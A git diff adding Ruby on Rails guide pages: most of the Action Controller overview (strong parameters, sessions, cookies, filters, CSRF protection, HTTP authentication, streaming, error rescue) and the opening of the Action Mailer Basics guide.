+This declaration whitelists the `name`, `emails` and `friends`
+attributes. It is expected that `emails` will be an array of permitted
+scalar values and that `friends` will be an array of resources with
+specific attributes : they should have a `name` attribute (any
+permitted scalar values allowed), a `hobbies` attribute as an array of
+permitted scalar values, and a `family` attribute which is restricted
+to having a `name` (any permitted scalar values allowed, too).
+
+#### More Examples
+
+You want to also use the permitted attributes in the `new`
+action. This raises the problem that you can't use `require` on the
+root key because normally it does not exist when calling `new`:
+
+```ruby
+# using `fetch` you can supply a default and use
+# the Strong Parameters API from there.
+params.fetch(:blog, {}).permit(:title, :author)
+```
+
+`accepts_nested_attributes_for` allows you to update and destroy
+associated records. This is based on the `id` and `_destroy`
+parameters:
+
+```ruby
+# permit :id and :_destroy
+params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])
+```
+
+Hashes with integer keys are treated differently and you can declare
+the attributes as if they were direct children. You get these kinds of
+parameters when you use `accepts_nested_attributes_for` in combination
+with a `has_many` association:
+
+```ruby
+# To whitelist the following data:
+# {"book" => {"title" => "Some Book",
+#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
+#                                        "2" => {"title" => "Second Chapter"}}}}
+
+params.require(:book).permit(:title, chapters_attributes: [:title])
+```
+
+#### Outside the Scope of Strong Parameters
+
+The strong parameter API was designed with the most common use cases
+in mind. It is not meant as a silver bullet to handle all your
+whitelisting problems. However you can easily mix the API with your
+own code to adapt to your situation.
+
+Imagine a scenario where you have parameters representing a product
+name and a hash of arbitrary data associated with that product, and
+you want to whitelist the product name attribute but also the whole
+data hash. The strong parameters API doesn't let you directly
+whitelist the whole of a nested hash with any keys, but you can use
+the keys of your nested hash to declare what to whitelist:
+
+```ruby
+def product_params
+  params.require(:product).permit(:name, data: params[:product][:data].try(:keys))
+end
+```
+
+Session
+-------
+
+Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:
+
+* `ActionDispatch::Session::CookieStore` - Stores everything on the client.
+* `ActionDispatch::Session::CacheStore` - Stores the data in the Rails cache.
+* `ActionDispatch::Session::ActiveRecordStore` - Stores the data in a database using Active Record. (require `activerecord-session_store` gem).
+* `ActionDispatch::Session::MemCacheStore` - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).
+
+All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).
+
+For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight and it requires zero setup in a new application in order to use the session. The cookie data is cryptographically signed to make it tamper-pr [...]
+
+The CookieStore can store around 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.
+
+If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using `ActionDispatch::Session::CacheStore`. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is  [...]
+
+Read more about session storage in the [Security Guide](security.html).
+
+If you need a different session storage mechanism, you can change it in the `config/initializers/session_store.rb` file:
+
+```ruby
+# Use the database for sessions instead of the cookie-based default,
+# which shouldn't be used to store highly confidential information
+# (create the session table with "rails g active_record:session_migration")
+# YourApp::Application.config.session_store :active_record_store
+```
+
+Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in `config/initializers/session_store.rb`:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session'
+```
+
+You can also pass a `:domain` key and specify the domain name for the cookie:
+
+```ruby
+# Be sure to restart your server when you modify this file.
+YourApp::Application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"
+```
+
+Rails sets up (for the CookieStore) a secret key used for signing the session data. This can be changed in `config/initializers/secret_token.rb`
+
+```ruby
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+```
+
+NOTE: Changing the secret when using the `CookieStore` will invalidate all existing sessions.
+
+### Accessing the Session
+
+In your controller you can access the session through the `session` instance method.
+
+NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job.
+
+Session values are stored using key/value pairs like a hash:
+
+```ruby
+class ApplicationController < ActionController::Base
+
+  private
+
+  # Finds the User with the ID stored in the session with the key
+  # :current_user_id This is a common way to handle user login in
+  # a Rails application; logging in sets the session value and
+  # logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] &&
+      User.find_by(id: session[:current_user_id])
+  end
+end
+```
+
+To store something in the session, just assign it to the key like a hash:
+
+```ruby
+class LoginsController < ApplicationController
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username], params[:password])
+      # Save the user ID in the session so it can be used in
+      # subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+end
+```
+
+To remove something from the session, assign that key to be `nil`:
+
+```ruby
+class LoginsController < ApplicationController
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    @_current_user = session[:current_user_id] = nil
+    redirect_to root_url
+  end
+end
+```
+
+To reset the entire session, use `reset_session`.
+
+### The Flash
+
+The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages etc.
+
+It is accessed in much the same way as the session, as a hash (it's a [FlashHash](http://api.rubyonrails.org/classes/ActionDispatch/Flash/FlashHash.html) instance).
+
+Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:
+
+```ruby
+class LoginsController < ApplicationController
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out."
+    redirect_to root_url
+  end
+end
+```
+
+Note that it is also possible to assign a flash message as part of the redirection. You can assign `:notice`, `:alert` or the general purpose `:flash`:
+
+```ruby
+redirect_to root_url, notice: "You have successfully logged out."
+redirect_to root_url, alert: "You're stuck here!"
+redirect_to root_url, flash: { referral_code: 1234 }
+```
+
+The `destroy` action redirects to the application's `root_url`, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:
+
+```erb
+<html>
+  <!-- <head/> -->
+  <body>
+    <% flash.each do |name, msg| -%>
+      <%= content_tag :div, msg, class: name %>
+    <% end -%>
+
+    <!-- more content -->
+  </body>
+</html>
+```
+
+This way, if an action sets a notice or an alert message, the layout will display it automatically.
+
+You can pass anything that the session can store; you're not limited to notices and alerts:
+
+```erb
+<% if flash[:just_signed_up] %>
+  <p class="welcome">Welcome to our site!</p>
+<% end %>
+```
+
+If you want a flash value to be carried over to another request, use the `keep` method:
+
+```ruby
+class MainController < ApplicationController
+  # Let's say this action corresponds to root_url, but you want
+  # all requests here to be redirected to UsersController#index.
+  # If an action sets the flash and redirects here, the values
+  # would normally be lost when another redirect happens, but you
+  # can use 'keep' to make it persist for another request.
+  def index
+    # Will persist all flash values.
+    flash.keep
+
+    # You can also use a key to keep only some kind of value.
+    # flash.keep(:notice)
+    redirect_to users_url
+  end
+end
+```
+
+#### `flash.now`
+
+By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the `create` action fails to save a resource and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use `flash.now` in the same way you use the normal `flash`:
+
+```ruby
+class ClientsController < ApplicationController
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render action: "new"
+    end
+  end
+end
+```
+
+Cookies
+-------
+
+Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
+
+```ruby
+class CommentsController < ApplicationController
+  def new
+    # Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(author: cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name.
+        cookies[:commenter_name] = @comment.author
+      else
+        # Delete cookie for the commenter's name cookie, if any.
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render action: "new"
+    end
+  end
+end
+```
+
+Note that while for session values you set the key to `nil`, to delete a cookie value you should use `cookies.delete(:key)`.
+
+Rails also provides a signed cookie jar and an encrypted cookie jar for storing
+sensitive data. The signed cookie jar appends a cryptographic signature on the
+cookie values to protect their integrity. The encrypted cookie jar encrypts the
+values in addition to signing them, so that they cannot be read by the end user.
+Refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html)
+for more details.
+
+These special cookie jars use a serializer to serialize the assigned values into
+strings and deserializes them into Ruby objects on read.
+
+You can specify what serializer to use:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = :json
+```
+
+The default serializer for new applications is `:json`. For compatibility with
+old applications with existing cookies, `:marshal` is used when `serializer`
+option is not specified.
+
+You may also set this option to `:hybrid`, in which case Rails would transparently
+deserialize existing (`Marshal`-serialized) cookies on read and re-write them in
+the `JSON` format. This is useful for migrating existing applications to the
+`:json` serializer.
+
+It is also possible to pass a custom serializer that responds to `load` and
+`dump`:
+
+```ruby
+Rails.application.config.action_dispatch.cookies_serializer = MyCustomSerializer
+```
+
+When using the `:json` or `:hybrid` serializer, you should beware that not all
+Ruby objects can be serialized as JSON. For example, `Date` and `Time` objects
+will be serialized as strings, and `Hash`es will have their keys stringified.
+
+```ruby
+class CookiesController < ApplicationController
+  def set_cookie
+    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2014
+    redirect_to action: 'read_cookie'
+  end
+
+  def read_cookie
+    cookies.encrypted[:expiration_date] # => "2014-03-20"
+  end
+end
+```
+
+It's advisable that you only store simple data (strings and numbers) in cookies.
+If you have to store complex objects, you would need to handle the conversion
+manually when reading the values on subsequent requests.
+
+If you use the cookie session store, this would apply to the `session` and
+`flash` hash as well.
+
+Rendering XML and JSON data
+---------------------------
+
+ActionController makes it extremely easy to render `XML` or `JSON` data. If you've generated a controller using scaffolding, it would look something like this:
+
+```ruby
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    respond_to do |format|
+      format.html # index.html.erb
+      format.xml  { render xml: @users}
+      format.json { render json: @users}
+    end
+  end
+end
+```
+
+You may notice in the above code that we're using `render xml: @users`, not `render xml: @users.to_xml`. If the object is not a String, then Rails will automatically invoke `to_xml` for us.
+
+Filters
+-------
+
+Filters are methods that are run before, after or "around" a controller action.
+
+Filters are inherited, so if you set a filter on `ApplicationController`, it will be run on every controller in your application.
+
+"Before" filters may halt the request cycle. A common "before" filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:
+
+```ruby
+class ApplicationController < ActionController::Base
+  before_action :require_login
+
+  private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # halts request cycle
+    end
+  end
+end
+```
+
+The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a "before" filter renders or redirects, the action will not run. If there are additional filters scheduled to run after that filter, they are also cancelled.
+
+In this example the filter is added to `ApplicationController` and thus all controllers in the application inherit it. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with `skip_before_action`:
+
+```ruby
+class LoginsController < ApplicationController
+  skip_before_action :require_login, only: [:new, :create]
+end
+```
+
+Now, the `LoginsController`'s `new` and `create` actions will work as before without requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.
+
+### After Filters and Around Filters
+
+In addition to "before" filters, you can also run filters after an action has been executed, or both before and after.
+
+"After" filters are similar to "before" filters, but because the action has already been run they have access to the response data that's about to be sent to the client. Obviously, "after" filters cannot stop the action from running.
+
+"Around" filters are responsible for running their associated actions by yielding, similar to how Rack middlewares work.
+
+For example, in a website where changes have an approval workflow an administrator could be able to preview them easily, just apply them within a transaction:
+
+```ruby
+class ChangesController < ApplicationController
+  around_action :wrap_in_transaction, only: :show
+
+  private
+
+  def wrap_in_transaction
+    ActiveRecord::Base.transaction do
+      begin
+        yield
+      ensure
+        raise ActiveRecord::Rollback
+      end
+    end
+  end
+end
+```
+
+Note that an "around" filter also wraps rendering. In particular, if in the example above, the view itself reads from the database (e.g. via a scope), it will do so within the transaction and thus present the data to preview.
+
+You can choose not to yield and build the response yourself, in which case the action will not be run.
+
+### Other Ways to Use Filters
+
+While the most common way to use filters is by creating private methods and using *_action to add them, there are two other ways to do the same thing.
+
+The first is to use a block directly with the *_action methods. The block receives the controller as an argument, and the `require_login` filter from above could be rewritten to use a block:
+
+```ruby
+class ApplicationController < ActionController::Base
+  before_action do |controller|
+    unless controller.send(:logged_in?)
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url
+    end
+  end
+end
+```
+
+Note that the filter in this case uses `send` because the `logged_in?` method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.
+
+The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex and cannot be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:
+
+```ruby
+class ApplicationController < ActionController::Base
+  before_action LoginFilter
+end
+
+class LoginFilter
+  def self.before(controller)
+    unless controller.send(:logged_in?)
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+end
+```
+
+Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class must implement a method with the same name as the filter, so for the `before_action` filter the class must implement a `before` method, and so on. The `around` method must `yield` to execute the action.
+
+Request Forgery Protection
+--------------------------
+
+Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission.
+
+The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests.
+
+The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.
+
+If you generate a form like this:
+
+```erb
+<%= form_for @user do |f| %>
+  <%= f.text_field :username %>
+  <%= f.text_field :password %>
+<% end %>
+```
+
+You will see how the token gets added as a hidden field:
+
+```html
+<form accept-charset="UTF-8" action="/users/1" method="post">
+<input type="hidden"
+       value="67250ab105eb5ad10851c00a5621854a23af5489"
+       name="authenticity_token"/>
+<!-- fields -->
+</form>
+```
+
+Rails adds this token to every form that's generated using the [form helpers](form_helpers.html), so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method `form_authenticity_token`:
+
+The `form_authenticity_token` generates a valid authentication token. That's useful in places where Rails does not add it automatically, like in custom Ajax calls.
+
+The [Security Guide](security.html) has more about this and a lot of other security-related issues that you should be aware of when developing a web application.
+
+The Request and Response Objects
+--------------------------------
+
+In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The `request` method contains an instance of `AbstractRequest` and the `response` method returns a response object representing what is going to be sent back to the client.
+
+### The `request` Object
+
+The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the [API documentation](http://api.rubyonrails.org/classes/ActionDispatch/Request.html). Among the properties that you can access on this object are:
+
+| Property of `request`                     | Purpose                                                                          |
+| ----------------------------------------- | -------------------------------------------------------------------------------- |
+| host                                      | The hostname used for this request.                                              |
+| domain(n=2)                               | The hostname's first `n` segments, starting from the right (the TLD).            |
+| format                                    | The content type requested by the client.                                        |
+| method                                    | The HTTP method used for the request.                                            |
+| get?, post?, patch?, put?, delete?, head? | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.               |
+| headers                                   | Returns a hash containing the headers associated with the request.               |
+| port                                      | The port number (integer) used for the request.                                  |
+| protocol                                  | Returns a string containing the protocol used plus "://", for example "http://". |
+| query_string                              | The query string part of the URL, i.e., everything after "?".                    |
+| remote_ip                                 | The IP address of the client.                                                    |
+| url                                       | The entire URL used for the request.                                             |
+
+#### `path_parameters`, `query_parameters`, and `request_parameters`
+
+Rails collects all of the parameters sent along with the request in the `params` hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The `query_parameters` hash contains parameters that were sent as part of the query string while the `request_parameters` hash contains parameters sent as part of the post body. The `path_parameters` hash contains paramete [...]
+
+### The `response` Object
+
+The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.
+
+| Property of `response` | Purpose                                                                                             |
+| ---------------------- | --------------------------------------------------------------------------------------------------- |
+| body                   | This is the string of data being sent back to the client. This is most often HTML.                  |
+| status                 | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
+| location               | The URL the client is being redirected to, if any.                                                  |
+| content_type           | The content type of the response.                                                                   |
+| charset                | The character set being used for the response. Default is "utf-8".                                  |
+| headers                | Headers used for the response.                                                                      |
+
+#### Setting Custom Headers
+
+If you want to set custom headers for a response then `response.headers` is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them automatically. If you want to add or change a header, just assign it to `response.headers` this way:
+
+```ruby
+response.headers["Content-Type"] = "application/pdf"
+```
+
+Note: in the above case it would make more sense to use the `content_type` setter directly.
+
+HTTP Authentications
+--------------------
+
+Rails comes with two built-in HTTP authentication mechanisms:
+
+* Basic Authentication
+* Digest Authentication
+
+### HTTP Basic Authentication
+
+HTTP basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `http_basic_authenticate_with`.
+
+```ruby
+class AdminsController < ApplicationController
+  http_basic_authenticate_with name: "humbaba", password: "5baa61e4"
+end
+```
+
+With this in place, you can create namespaced controllers that inherit from `AdminsController`. The filter will thus be run for all actions in those controllers, protecting them with HTTP basic authentication.
+
+### HTTP Digest Authentication
+
+HTTP digest authentication is superior to the basic authentication as it does not require the client to send an unencrypted password over the network (though HTTP basic authentication is safe over HTTPS). Using digest authentication with Rails is quite easy and only requires using one method, `authenticate_or_request_with_http_digest`.
+
+```ruby
+class AdminsController < ApplicationController
+  USERS = { "lifo" => "world" }
+
+  before_action :authenticate
+
+  private
+
+    def authenticate
+      authenticate_or_request_with_http_digest do |username|
+        USERS[username]
+      end
+    end
+end
+```
+
+As seen in the example above, the `authenticate_or_request_with_http_digest` block takes only one argument - the username. And the block returns the password. Returning `false` or `nil` from the `authenticate_or_request_with_http_digest` will cause authentication failure.
+
+Streaming and File Downloads
+----------------------------
+
+Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the `send_data` and the `send_file` methods, which will both stream data to the client. `send_file` is a convenience method that lets you provide the name of a file on the disk and it will stream the contents of that file for you.
+
+To stream data to the client, use `send_data`:
+
+```ruby
+require "prawn"
+class ClientsController < ApplicationController
+  # Generates a PDF document with information on the client and
+  # returns it. The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data generate_pdf(client),
+              filename: "#{client.name}.pdf",
+              type: "application/pdf"
+  end
+
+  private
+
+    def generate_pdf(client)
+      Prawn::Document.new do
+        text client.name, align: :center
+        text "Address: #{client.address}"
+        text "Email: #{client.email}"
+      end.render
+    end
+end
+```
+
+The `download_pdf` action in the example above will call a private method which actually generates the PDF document and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the `:dispos [...]
+
+### Sending Files
+
+If you want to send a file that already exists on disk, use the `send_file` method.
+
+```ruby
+class ClientsController < ApplicationController
+  # Stream a file that has already been generated and stored on disk.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_file("#{Rails.root}/files/clients/#{client.id}.pdf",
+              filename: "#{client.name}.pdf",
+              type: "application/pdf")
+  end
+end
+```
+
+This will read and stream the file 4kB at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the `:stream` option or adjust the block size with the `:buffer_size` option.
+
+If `:type` is not specified, it will be guessed from the file extension specified in `:filename`. If the content type is not registered for the extension, `application/octet-stream` will be used.
+
+WARNING: Be careful when using data coming from the client (params, cookies, etc.) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to.
+
+TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+### RESTful Downloads
+
+While `send_data` works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the `show` action, without any streaming:
+
+```ruby
+class ClientsController < ApplicationController
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf { render pdf: generate_pdf(@client) }
+    end
+  end
+end
+```
+
+In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file `config/initializers/mime_types.rb`:
+
+```ruby
+Mime::Type.register "application/pdf", :pdf
+```
+
+NOTE: Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:
+
+```bash
+GET /clients/1.pdf
+```
+
+### Live Streaming of Arbitrary Data
+
+Rails allows you to stream more than just files. In fact, you can stream anything
+you would like in a response object. The `ActionController::Live` module allows
+you to create a persistent connection with a browser. Using this module, you will
+be able to send arbitrary data to the browser at specific points in time.
+
+#### Incorporating Live Streaming
+
+Including `ActionController::Live` inside of your controller class will provide
+all actions inside of the controller the ability to stream data. You can mix in
+the module like so:
+
+```ruby
+class MyController < ActionController::Base
+  include ActionController::Live
+
+  def stream
+    response.headers['Content-Type'] = 'text/event-stream'
+    100.times {
+      response.stream.write "hello world\n"
+      sleep 1
+    }
+  ensure
+    response.stream.close
+  end
+end
+```
+
+The above code will keep a persistent connection with the browser and send 100
+messages of `"hello world\n"`, each one second apart.
+
+There are a couple of things to notice in the above example. We need to make
+sure to close the response stream. Forgetting to close the stream will leave
+the socket open forever. We also have to set the content type to `text/event-stream`
+before we write to the response stream. This is because headers cannot be written
+after the response has been committed (when `response.committed` returns a truthy
+value), which occurs when you `write` or `commit` the response stream.
+
+#### Example Usage
+
+Let's suppose that you were making a Karaoke machine and a user wants to get the
+lyrics for a particular song. Each `Song` has a particular number of lines and
+each line takes time `num_beats` to finish singing.
+
+If we wanted to return the lyrics in Karaoke fashion (only sending the line when
+the singer has finished the previous line), then we could use `ActionController::Live`
+as follows:
+
+```ruby
+class LyricsController < ActionController::Base
+  include ActionController::Live
+
+  def show
+    response.headers['Content-Type'] = 'text/event-stream'
+    song = Song.find(params[:id])
+
+    song.each do |line|
+      response.stream.write line.lyrics
+      sleep line.num_beats
+    end
+  ensure
+    response.stream.close
+  end
+end
+```
+
+The above code sends the next line only after the singer has completed the previous
+line.
+
+#### Streaming Considerations
+
+Streaming arbitrary data is an extremely powerful tool. As shown in the previous
+examples, you can choose when and what to send across a response stream. However,
+you should also note the following things:
+
+* Each response stream creates a new thread and copies over the thread local
+  variables from the original thread. Having too many thread local variables can
+  negatively impact performance. Similarly, a large number of threads can also
+  hinder performance.
+* Failing to close the response stream will leave the corresponding socket open
+  forever. Make sure to call `close` whenever you are using a response stream.
+* WEBrick servers buffer all responses, and so including `ActionController::Live`
+  will not work. You must use a web server which does not automatically buffer
+  responses.
+
+Log Filtering
+-------------
+
+Rails keeps a log file for each environment in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file.
+
+### Parameters Filtering
+
+You can filter certain request parameters from your log files by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
+
+```ruby
+config.filter_parameters << :password
+```
+
+### Redirects Filtering
+
+Sometimes it's desirable to filter out from log files some sensible locations your application is redirecting to.
+You can do that by using the `config.filter_redirect` configuration option:
+
+```ruby
+config.filter_redirect << 's3.amazonaws.com'
+```
+
+You can set it to a String, a Regexp, or an array of both.
+
+```ruby
+config.filter_redirect.concat ['s3.amazonaws.com', /private_path/]
+```
+
+Matching URLs will be marked as '[FILTERED]'.
+
+Rescue
+------
+
+Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the `ActiveRecord::RecordNotFound` exception.
+
+Rails' default exception handling displays a "500 Server Error" message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and h [...]
+
+### The Default 500 and 404 Templates
+
+By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the `public` folder, in `404.html` and `500.html` respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.
+
+### `rescue_from`
+
+If you want to do something a bit more elaborate when catching errors, you can use `rescue_from`, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses.
+
+When an exception occurs which is caught by a `rescue_from` directive, the exception object is passed to the handler. The handler can be a method or a `Proc` object passed to the `:with` option. You can also use a block directly instead of an explicit `Proc` object.
+
+Here's how you can use `rescue_from` to intercept all `ActiveRecord::RecordNotFound` errors and do something with them.
+
+```ruby
+class ApplicationController < ActionController::Base
+  rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
+
+  private
+
+    def record_not_found
+      render plain: "404 Not Found", status: 404
+    end
+end
+```
+
+Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:
+
+```ruby
+class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :user_not_authorized
+
+  private
+
+    def user_not_authorized
+      flash[:error] = "You don't have access to this section."
+      redirect_to :back
+    end
+end
+
+class ClientsController < ApplicationController
+  # Check that the user has the right authorization to access clients.
+  before_action :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+  private
+
+    # If the user is not authorized, just throw the exception.
+    def check_authorization
+      raise User::NotAuthorized unless current_user.admin?
+    end
+end
+```
+
+NOTE: Certain exceptions are only rescuable from the `ApplicationController` class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's [article](http://m.onkey.org/2008/7/20/rescue-from-dispatching) on the subject for more information.
+
+Force HTTPS protocol
+--------------------
+
+Sometime you might want to force a particular controller to only be accessible via an HTTPS protocol for security reasons. You can use the `force_ssl` method in your controller to enforce that:
+
+```ruby
+class DinnerController
+  force_ssl
+end
+```
+
+Just like the filter, you could also pass `:only` and `:except` to enforce the secure connection only to specific actions:
+
+```ruby
+class DinnerController
+  force_ssl only: :cheeseburger
+  # or
+  force_ssl except: :cheeseburger
+end
+```
+
+Please note that if you find yourself adding `force_ssl` to many controllers, you may want to force the whole application to use HTTPS instead. In that case, you can set the `config.force_ssl` in your environment file.
diff --git a/guides/source/action_mailer_basics.md b/guides/source/action_mailer_basics.md
new file mode 100644
index 0000000..c67f618
--- /dev/null
+++ b/guides/source/action_mailer_basics.md
@@ -0,0 +1,689 @@
+Action Mailer Basics
+====================
+
+This guide provides you with all you need to get started in sending and
+receiving emails from and to your application, and many internals of Action
+Mailer. It also covers how to test your mailers.
+
+After reading this guide, you will know:
+
+* How to send and receive email within a Rails application.
+* How to generate and edit an Action Mailer class and mailer view.
+* How to configure Action Mailer for your environment.
+* How to test your Action Mailer classes.
+
+--------------------------------------------------------------------------------
+
+Introduction
+------------
+
+Action Mailer allows you to send emails from your application using mailer classes and views. Mailers work very similarly to controllers. They inherit from `ActionMailer::Base` and live in `app/mailers`, and they have associated views that appear in `app/views`.
+
+Sending Emails
+--------------
+
+This section will provide a step-by-step guide to creating a mailer and its
+views.
+
+### Walkthrough to Generating a Mailer
+
+#### Create the Mailer
+
+```bash
+$ bin/rails generate mailer UserMailer
+create  app/mailers/user_mailer.rb
+invoke  erb
+create    app/views/user_mailer
+invoke  test_unit
+create    test/mailers/user_mailer_test.rb
+```
+
+As you can see, you can generate mailers just like you use other generators with
+Rails. Mailers are conceptually similar to controllers, and so we get a mailer,
+a directory for views, and a test.
+
+If you didn't want to use a generator, you could create your own file inside of
+app/mailers, just make sure that it inherits from `ActionMailer::Base`:
+
+```ruby
+class MyMailer < ActionMailer::Base
+end
+```
+
+#### Edit the Mailer
+
+Mailers are very similar to Rails controllers. They also have methods called
+"actions" and use views to structure the content. Where a controller generates
+content like HTML to send back to the client, a Mailer creates a message to be
+delivered via email.
+
+`app/mailers/user_mailer.rb` contains an empty mailer:
+
+```ruby
+class UserMailer < ActionMailer::Base
+  default from: 'from at example.com'
+end
+```
+
